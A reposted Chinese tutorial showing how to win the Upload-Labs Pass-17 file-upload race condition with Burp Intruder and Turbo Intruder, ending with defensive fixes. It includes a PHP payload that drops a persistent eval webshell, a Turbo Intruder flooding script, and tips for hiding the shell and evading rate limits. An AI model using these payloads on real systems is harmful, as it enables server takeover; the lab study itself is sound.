尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

利用Burp Suite Intruder进行TOCTOU时间差攻击实战解析

利用Burp Suite Intruder进行TOCTOU时间差攻击实战解析
📅 发布时间:2026/7/30 2:23:33

1. 项目概述:一次关于“时间差”的攻防演练

最近在复现和教学文件上传漏洞时,我重新审视了Upload-Labs这个经典的靶场。当做到Pass-17时,我发现很多朋友,包括一些有一定经验的安全爱好者,对其中涉及的“时间差”攻击原理理解得不够透彻,往往只是照着网上的Payload“跑一遍”,知其然而不知其所以然。这个关卡的设计非常精妙,它模拟了一种在真实开发中可能出现的、基于服务器端检查逻辑顺序的漏洞。今天,我就结合Burp Suite的Intruder模块,带大家从头到尾拆解一遍Pass-17,不仅告诉你“怎么做”,更重点剖析“为什么能这么做”,以及在这种特定场景下,Intruder如何成为我们的“时间武器”。

简单来说,Pass-17考察的是“条件竞争”漏洞的一个子类——时间差攻击(Time-of-Check to Time-of-Use, TOCTOU)。它的场景是这样的:服务器先检查了你上传文件的扩展名(比如,不允许.php),如果通过,它会把文件临时移动到某个目录,然后再对这个“已经移动过去”的文件进行二次内容检查(例如检查文件头)。这中间存在一个极短的时间窗口。我们的攻击目标,就是利用这个窗口,在服务器完成最终检查前,访问并执行我们上传的恶意文件。而Burp Suite Intruder在这里的角色,就是通过高并发请求,极大地提高我们“撞上”这个时间窗口的概率。

这适合所有正在学习Web安全、想深入理解逻辑漏洞而非单纯工具操作的朋友。即使你对Burp Suite只有基础了解,跟着本文的思路,你也能清晰地掌握从漏洞原理分析,到工具策略配置,再到最终利用的完整链条。你会发现,真正的渗透测试,工具只是手臂,思考才是大脑。

2. 核心漏洞原理:TOCTOU与服务器检查逻辑的“缝隙”

在深入实操之前,我们必须把Pass-17背后的原理吃透。这关系到我们后续每一步操作的设计是否合理有效。

2.1 什么是TOCTOU(时间差攻击)?

TOCTOU是操作系统和软件安全中的一个经典问题。它的核心矛盾在于:系统检查某个条件的状态(Time-of-Check)和使用该检查结果(Time-of-Use)这两个动作不是原子性的,中间存在时间间隔。在这个间隔内,条件的状态可能被改变,从而导致系统基于过时、无效的检查结果做出决策,引发安全漏洞。

一个生活化的类比:你去银行柜台取一大笔钱,柜员需要去金库清点(Check)。清点时,他确认金库里有足够的现金。但在他把现金从金库拿到柜台(Use)的这段路上,另一个内部人员瞬间转移走了部分现金。柜员基于“清点时”的状态,把实际上已经不足额的现金交给了你,导致了银行的损失。这里的“清点”和“交付”之间的时间差,就是漏洞所在。

2.2 Pass-17的服务器端模拟逻辑

Upload-Labs的Pass-17源码(通常是一个PHP文件)模拟了以下有缺陷的逻辑:

  1. 第一次检查(Check-1:扩展名检查):服务器接收到上传请求后,首先检查文件扩展名。例如,它会判断文件名是否以.php、.phtml等危险后缀结尾。如果发现是黑名单内的扩展名,直接拒绝并返回错误。
  2. 文件移动:如果扩展名检查通过(比如你上传了一个.jpg文件),服务器会执行move_uploaded_file()函数,将临时上传的文件移动到指定的目标目录(例如upload/)。关键在于,到这一步,文件在服务器上已经实际存在了。
  3. 第二次检查(Check-2:内容检查):文件移动完成后,服务器再对这个已经存在于目标目录的文件进行内容检查。比如,用getimagesize()函数读取文件头,判断它是否是一个真实的图片。如果不是,则删除这个文件。
  4. 漏洞窗口:从步骤2完成到步骤3开始并执行完毕,存在一个时间差。虽然这个时间差极短(可能只有几毫秒到几十毫秒),但它确实存在。如果我们在文件被删除前,成功访问了它的URL,那么其中的PHP代码就会被服务器解析执行。

注意:很多初学者混淆了一点,以为是要在服务器“检查”的瞬间“替换”文件。实际上,我们上传的就是一个“伪装”的文件(如图片马),它一次性通过了扩展名检查。漏洞利用的焦点在于,在它因内容检查不合格而被删除前,抢跑访问它。

2.3 我们的攻击策略设计

基于以上原理,我们的攻击链非常清晰:

  1. 制作Payload:创建一个包含PHP代码的图片马(例如,在JPEG文件末尾添加``),将其后缀名改为.jpg,以通过第一关扩展名检查。
  2. 发起上传:将这个图片马上传到靶场。
  3. 暴力访问:在服务器执行move_uploaded_file()之后、内容检查删除文件之前,以极高的频率并发请求这个上传文件的预期URL。
  4. 利用成功:只要有一次访问请求“挤”进了那个时间窗口,我们的PHP代码就会被执行。通常我们会让代码返回一个可见的结果,比如在页面上输出一个字符串,或者更实际地,写入一个完整的Webshell到服务器。

那么,如何实现高频率的并发访问呢?手动刷新浏览器显然不现实。这就需要请出我们今天的主角:Burp Suite Intruder的“Pitchfork”和“Turbo Intruder”模式。

3. 环境准备与Payload制作

工欲善其事,必先利其器。在启动Burp Suite之前,我们需要把靶场和攻击文件准备好。

3.1 靶场环境搭建

Upload-Labs的搭建非常简单,这里简述一下要点:

  1. 从GitHub下载Upload-Labs源码。
  2. 将其放置在你的PHP集成环境根目录下(如PHPStudy的WWW目录,XAMPP的htdocs目录)。
  3. 确保你的PHP版本在5.x或7.x(避免使用过高的8.x版本,可能语法不兼容)。Pass-17关卡通常需要修改一些配置来“开启”,请根据靶场内的提示或源码注释操作,通常是设置一个$is_upload的逻辑开关。
  4. 在浏览器中访问http://localhost/upload-labs/即可。确保你能正常看到前16关,并找到Pass-17的入口。

3.2 制作高兼容性的图片马

图片马的成功率取决于其能否通过getimagesize()这类函数的检查。一个健壮的图片马应该只破坏最少的图片数据。

方法一:命令行合成(推荐,最干净)在Linux或Windows(安装Git Bash或使用CMD)下,使用copy命令:

copy /b normal.jpg + shell.php webshell.jpg

这条命令会将shell.php的二进制内容追加到normal.jpg的末尾。normal.jpg是一张完全正常的图片。这样制作出来的文件,文件头依然是标准的JPEG格式,getimagesize()可以正常识别其尺寸和类型,但服务器在解析时,如果将其当作PHP执行,则会忽略前面的图片二进制数据,直接执行末尾的PHP代码。

方法二:文本编辑器编辑用Notepad++等编辑器打开一张正常图片,滚动到最底部,在最后一个字节后换行,写入你的PHP代码。这种方法有时会因编码问题引入BOM头,可能导致图片损坏,不如命令行方法可靠。

PHP Payload设计: 对于时间差攻击,我们的Payload需要满足两个条件:1) 快速执行;2) 结果明显。因此,不适合使用需要POST参数的复杂一句话木马。

<?php file_put_contents('shell.php', '<?php @eval($_POST[cmd]);?>'); echo 'Hacked!'; ?>

这个Payload的作用是,一旦被执行,会在当前目录(即上传目录)下写入一个真正的、持久化的Webshell文件shell.php。这样,即使我们上传的原始图片马被删除,这个shell.php也会保留下来。echo ‘Hacked!’是为了在响应中立即看到成功提示。

实操心得:在真实渗透测试中,为了避免被监控发现,这个Payload可以更隐蔽,比如将Webshell内容进行Base64编码后再写入,或者写入到更隐蔽的路径。但在靶场练习中,以直观和成功为首要目标。

4. Burp Suite Intruder 配置详解

这是本次演练的核心环节。我们将使用Intruder的两种模式协同工作。

4.1 步骤一:捕获上传请求并设置Payload位置

  1. 浏览器配置好代理(127.0.0.1:8080),并安装Burp的CA证书。
  2. 访问Upload-Labs Pass-17页面,选择制作好的webshell.jpg文件,点击上传。
  3. 在Burp Suite的Proxy -> HTTP history中,找到这个POST上传请求,右键发送到Intruder(快捷键Ctrl+I)。
  4. 进入Intruder的Positions标签页。这里我们使用“Pitchfork”模式。为什么是Pitchfork?因为它允许我们为多个变量设置不同的Payload列表,并且这些Payload会成对地进行组合。在这个场景下,我们需要两个变量同步变化。
  5. 清除所有自动标记的变量,然后手动标记以下两个位置:
    • 文件内容:在HTTP请求体(body)中,找到表示文件内容的那个部分(通常是一长串乱码,是图片的十六进制数据)。我们需要用不同的Payload来替换它,以增加请求的“差异性”,有些服务器可能会对完全相同的请求做短时间内的去重处理。
    • 文件名:在Content-Disposition行中的filename参数值,即filename=”webshell.jpg”。我们需要将其修改为预期的上传后的文件名,但这里我们先标记,Payload设置时会解释。

你的请求大概会像这样(部分省略):

POST /upload-labs/Pass-17/index.php HTTP/1.1 ... Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="upload_file"; filename="§webshell.jpg§" Content-Type: image/jpeg §图片马的二进制数据§ ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="submit" 提交 ------WebKitFormBoundaryABC123--

注意两个§符号标记的位置。

4.2 步骤二:配置Payloads

这是最关键的一步,我们需要为两个标记位置设置合适的Payload。

  1. Payload Set 1 (对应文件内容标记):

    • Payload Type: “Runtime file”。这是我们制造“差异性”的关键。你需要提前准备一个文本文件(如payload1.txt),里面包含几行不同的图片马的Base64编码或Hex字符串。如何获得?你可以用同一个图片马,在末尾轻微修改一下注释,或者用脚本生成几个内容稍有差异但功能相同的图片马,然后分别读取其二进制并编码。
    • 这样做的目的是让每次Intruder发出的上传请求,其文件内容部分都不完全相同,模拟多个不同用户在上传略微不同的图片,降低被简单WAF或应用层防火墙拦截的概率。
  2. Payload Set 2 (对应文件名标记):

    • Payload Type: “Simple list”。
    • 在Payload Options中,添加一个条目:webshell.jpg。是的,只用一个。为什么?因为我们的目标是让同一个文件被反复上传。在TOCTOU攻击中,我们不需要尝试不同文件名,我们需要的是对同一个预期路径进行高并发访问。文件名固定,我们才能知道要去访问哪个URL。

4.3 步骤三:配置攻击引擎(Resource Pool)

在Intruder的Resource Pool选项下,创建一个新的资源池,或者修改默认池的设置:

  • Number of threads: 设置为50-100。这个数字非常激进,它表示同时有50-100个线程在发送上传请求。这是为了最大化我们“挤占”那个时间窗口的机会。设置过高可能导致本地或靶机资源耗尽,需要根据实际情况调整。
  • Throttle: 不要设置延迟。我们的目标就是“狂轰滥炸”,所以取消任何Delay between requests的勾选。

4.4 步骤四:启动攻击与初步观察

点击Start attack按钮,Intruder会弹出一个新窗口,开始以高并发方式重复发送我们标记好的上传请求。

此时,你会在攻击结果窗口看到大量请求和响应。重点观察响应状态码、长度和内容:

  • 状态码:通常都是200,表示上传请求本身被服务器接收和处理了。
  • 响应长度和内容:大多数响应可能显示“文件上传成功!”之类的提示(因为扩展名检查通过了),但随后服务器后台线程会删除它。我们的目标不是在这里找成功,而是通过这个高并发过程,让服务器端不断有文件处于那个“已移动未检查”的脆弱状态。

重要:这个Intruder攻击窗口不要关闭,让它一直运行。我们的目的是持续“污染”服务器的处理队列。

5. 利用Turbo Intruder进行高并发访问

现在,服务器端可能已经堆积了一些“待检查”的图片马文件。我们需要另一个工具,以更高的效率去访问这些文件。Burp Suite专业版的“Turbo Intruder”扩展(社区版需手动安装)是绝佳选择,它比普通Intruder更高效,更适合这种纯请求响应的洪水攻击。

5.1 步骤一:捕获访问请求

  1. 在浏览器中,手动构造一个访问上传文件的URL。例如,如果你的上传目录是upload,那么访问的URL可能是http://localhost/upload-labs/upload/webshell.jpg。
  2. 此时,因为文件很可能已被删除,你会看到404 Not Found。没关系,在Burp的HTTP history中找到这个GET请求。
  3. 在这个GET请求上右键,选择Extensions->Turbo Intruder->Send to turbo intruder。

5.2 步骤二:配置Turbo Intruder脚本

Turbo Intruder使用Python脚本控制攻击。它会提供一个基础模板,我们需要进行关键修改。

def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=50, # 并发连接数,可以设得更高,如100 requestsPerConnection=100, # 每个连接发送的请求数 pipeline=False ) # 这是我们要重复发送的请求 request = '''GET /upload-labs/upload/webshell.jpg HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0... Accept: text/html... ... 其他头部信息,保持原样即可 ''' # 关键:以极快的速度,持续发送这个GET请求 for i in range(10000): # 发送请求的次数,可以设置一个很大的数 engine.queue(request) def handleResponse(req, interesting): # 处理响应,这里我们只关注响应中包含我们成功标志的请求 if ‘Hacked!’ in req.response: # 如果响应体里有我们Payload中echo的‘Hacked!’ table.add(req) # 你也可以根据状态码不是404或响应长度发生变化来判断 elif req.status != 404: table.add(req)

脚本要点解析:

  • concurrentConnections: 并发连接数,与Intruder的线程类似,但效率更高。可以设置为100甚至更高。
  • requestsPerConnection: 每个HTTP长连接上发送的请求数,启用HTTP Keep-Alive可以极大提升速度。
  • engine.queue(request): 将请求放入发送队列。我们用一个超大循环来持续发送。
  • handleResponse: 回调函数。我们在这里过滤结果。一旦发现响应中包含我们Payload里写的Hacked!字符串,或者状态码不是404(可能是200,表示文件存在并被解析),就将这个请求标记为“有趣”,并显示在结果表格中。

5.3 步骤三:发动总攻与结果判定

  1. 确保第一个Intruder攻击(上传攻击)仍在运行。
  2. 点击Turbo Intruder窗口的Attack按钮。它会开始以极高的频率请求webshell.jpg。
  3. 观察Turbo Intruder的结果窗口。如果攻击成功,你会在很短时间内(几秒到十几秒)看到有请求被捕获到“Interesting”列表里。点开这个请求,查看响应内容,你应该能看到Hacked!的字样,并且服务器上的upload目录下,会多出一个shell.php文件。
  4. 此时,访问http://localhost/upload-labs/upload/shell.php,并使用中国菜刀、蚁剑等工具连接(POST参数cmd=phpinfo();),即可验证Webshell写入成功。

6. 深度排查与高级技巧

在实际操作中,你可能会遇到各种问题。下面是一些常见的坑和进阶技巧。

6.1 攻击失败的可能原因与排查

问题现象可能原因排查思路与解决方案
始终没有Hacked!响应,全是404。1.时间窗口太短:服务器检查删除速度极快。
2.Payload问题:图片马制作失败,PHP代码未执行。
3.路径错误:访问的URL路径不对。
1.增加并发压力:同时开多个Burp Intruder/Turbo Intruder实例,或使用集群化攻击脚本。
2.验证Payload:单独将图片马上传到一台已知会解析PHP的服务器,直接访问看能否执行。
3.确认路径:查看Upload-Labs源码,确认上传文件保存的具体路径和命名规则(有时会重命名)。
Turbo Intruder很快停止,没有发送大量请求。脚本配置问题,如循环次数太少,或目标服务器拒绝连接。1. 检查range循环值是否足够大(如100000)。
2. 检查concurrentConnections是否过高导致本地端口耗尽,可适当调低至50。
3. 查看Turbo Intruder输出日志,是否有连接错误。
上传请求被靶场拦截,返回错误。靶场可能有频率限制或简单的防重放机制。1. 在Intruder的Payload Set 1中,确保文件内容Payload列表有足够的差异性。
2. 在请求头中添加或随机化一些字段,如X-Forwarded-For。
3. 在请求间增加很小的随机延迟(如10-50毫秒),模拟真人操作。

6.2 提升成功率的进阶技巧

  1. 延长“时间窗口”:如果靶场环境完全受控(比如你自己搭建的测试环境),可以尝试在源码的“移动文件”和“内容检查”之间,人为插入一个sleep(1)或usleep(500000)函数,让漏洞窗口从毫秒级扩大到秒级,方便你理解攻击过程。这绝对是加深理解的神器。
  2. 精准定位“触发点”:使用Burp Suite的Logger++扩展(或类似工具),监控服务器上目标文件的创建和删除事件。虽然这通常需要服务器端配合,但在某些模拟环境中,可以通过观察特定的HTTP请求序列来推断。
  3. 组合工具:除了Burp Suite,可以编写Python脚本,结合threading和requests库,实现更灵活的上传和访问并发控制。脚本可以做到:一个线程池专门负责上传,另一个线程池专门负责访问,并且共享一个队列,上传成功一个文件名,就立刻加入访问队列。
  4. 针对真实环境的思考:真实世界的TOCTOU漏洞可能更隐蔽。例如,检查和使用之间可能隔着数据库读写、网络IO、调用其他微服务等。攻击思路不变,但并发攻击的“点”需要更精确的判断。可能需要先通过代码审计或模糊测试,找到那个关键的文件操作函数调用链。

7. 防御方案与安全开发启示

作为攻击者,我们研究漏洞;作为开发者或安全人员,我们更应知道如何修复。Pass-17给我们上了一堂生动的安全编程课。

根本解决方案:消除时间差

  • 原子化操作:将检查和使用合并为一个原子操作。在移动文件之前,将文件内容读入内存或临时缓冲区进行检查。只有检查完全通过后,才执行一次原子性的文件写入操作。在Linux下,可以利用O_EXCL标志配合open()系统调用来创建文件,确保文件不存在。
  • 先检查,后移动,且移动后使用不可变引用:如果架构上必须移动后再处理,那么在移动后,应立即对文件进行最终检查,并在检查通过前,绝对不对外暴露该文件的访问路径或句柄。或者,使用一个临时且不可预测的文件名,直到所有检查通过后,才将其重命名为最终名称。

工程实践建议:

  • 白名单校验:文件上传功能应始终使用后缀名白名单,并结合文件内容头检查(如MIME类型)。
  • 随机化文件名:上传的文件应重命名为随机字符串(如UUID),避免被攻击者预测路径。
  • 文件存储隔离:上传的文件不应存储在Web根目录下,而应放在一个无法通过URL直接访问的目录。通过后端脚本(如readfile())来代理访问和下载,这样即使上传了恶意脚本,也无法直接执行。
  • 设置严格的目录权限:上传目录应禁止执行脚本(例如,在Nginx配置中针对上传目录设置location ~* \.(php|phtml)$ { deny all; })。

理解并利用TOCTOU漏洞,需要你对Web应用的处理流程有清晰的时序概念。这次用Burp Suite Intruder爆破Upload-Labs Pass-17的经历,本质上是一次对服务器端逻辑的“压力测试”和“时序博弈”。它提醒我们,在安全开发中,任何非原子性的“检查-使用”序列都可能成为攻击面,尤其是在高并发场景下。工具的使用并不复杂,复杂的是对漏洞原理的深刻洞察和基于此设计出精巧的攻击链。当你手动调整并发参数、盯着响应结果、最终看到Hacked!跳出来那一刻,你对“时间差”这三个字的理解,一定会比读十篇理论文章都要深刻得多。

相关新闻

  • GDK脚本命令全解析:实现电池自动化测试与BMS开发
  • 终极指南:如何快速免费备份你的QQ空间完整数据
  • 告别Windows多显示器缩放混乱:SetDPI让每个屏幕都清晰如初

最新新闻

  • Elasticsearch 在招聘系统中的应用与实践:从索引设计到数据同步
  • STM32 LCD硬件驱动原理深度解析:从接口时序到电路设计
  • # 鸿蒙 HarmonyOS 应用开发实战(第38期)|密码锁(Password Lock)— Grid 网格键盘与四阶段状态机
  • 协助企业申请Google Play帐号、上架
  • Java开发环境搭建全攻略:从JDK安装、环境变量配置到多版本管理
  • R语言生信分析环境搭建:从CRAN、Bioconductor到GitHub的完整部署指南

日新闻

  • 终极TeamSpeak3音乐机器人搭建指南:5分钟实现语音聊天室音频播放
  • 广州海珠区内搬家攻略,平价靠谱搬家服务商推荐,专业打包搬运省心避坑全流程指南 - 厚道搬家
  • 大语言模型入门指南:从零到精通掌握AI核心技术的5大步骤

周新闻

  • 大连理工大学与东京大学联手打造的“主动型AI助手“
  • 170.2026年国家级科研瓶颈:超精密单点金刚石切削(SPDT)光学表面生成
  • SongBloom:革命性歌曲生成框架深度解析——如何通过交织自回归与扩散模型创作完整音乐

月新闻

  • 2026年6月公司网站搭建最新热门渠道测评:四大低成本/零代码平台对比+避坑
  • 【Linux】Linux arm 编译QT程序,出现expected “}“报错
  • 【MATLAB例程】四基站二维AOA定位与距离辅助增强对比仿真。基于角度观测和测距修正的固定目标平面定位精度分析

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号